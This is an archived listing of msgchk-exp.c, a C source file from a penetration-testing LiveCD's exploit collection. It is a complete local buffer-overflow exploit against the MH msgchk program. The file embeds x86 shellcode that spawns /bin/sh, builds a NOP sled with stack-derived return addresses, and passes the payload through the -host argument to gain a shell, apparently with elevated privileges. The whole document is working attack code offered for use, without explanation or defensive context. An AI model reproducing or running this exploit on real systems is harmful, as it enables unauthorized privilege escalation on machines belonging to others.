home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / msgchk-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  62 lines

  1. #include <stdlib.h>
  2.  
  3. #define DEFAULT_OFFSET                 0
  4. #define DEFAULT_BUFFER_SIZE            1018
  5. #define NOP                            0x90
  6. char shellcode[] =
  7.  
  8. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  9.  
  10. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  11.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  12.  
  13. unsigned long get_sp(void) {
  14.    __asm__("movl %esp,%eax");
  15. }
  16.  
  17. void main(int argc, char *argv[]) {
  18.   char *buff, *ptr;
  19. char *args[5];
  20. char jorge[]="";
  21.   long *addr_ptr, addr;
  22.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  23.   int i;
  24.   if (argc > 1) bsize  = atoi(argv[1]);
  25.   if (argc > 2) offset = atoi(argv[2]);
  26.  
  27.   if (!(buff = malloc(bsize))) {
  28.     printf("Can't allocate memory.\n");
  29.     exit(0);
  30.   }
  31.  
  32.   addr = get_sp() - offset;
  33.   printf("Using address: 0x%x\n", addr);
  34.  
  35.   ptr = buff;
  36.   addr_ptr = (long *) ptr;
  37.   for (i = 0; i < bsize; i+=4) {
  38.     buff[i]=addr & 0xFF;
  39.     buff[i+1]=(addr >> 8) & 0xFF;
  40.     buff[i+2]=(addr >> 16) & 0xFF;
  41.     buff[i+3]=(addr >> 24) & 0xFF;
  42.   }
  43.  
  44.     *(addr_ptr++) = addr;
  45.  
  46.   for (i = 0; i < bsize/2; i++)
  47.     buff[i] = NOP;
  48.  
  49.   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  50.   for (i = 0; i < strlen(shellcode); i++)
  51.     *(ptr++) = shellcode[i];
  52.  
  53.   buff[bsize - 1] = '\0';
  54.  
  55.   args[0]="/usr/bin/mh/msgchk";
  56.   args[1]="-host";
  57.   args[2]=buff;
  58.   args[3]=NULL;
  59.   execve(args[0],args,NULL);
  60.  
  61. }
  62.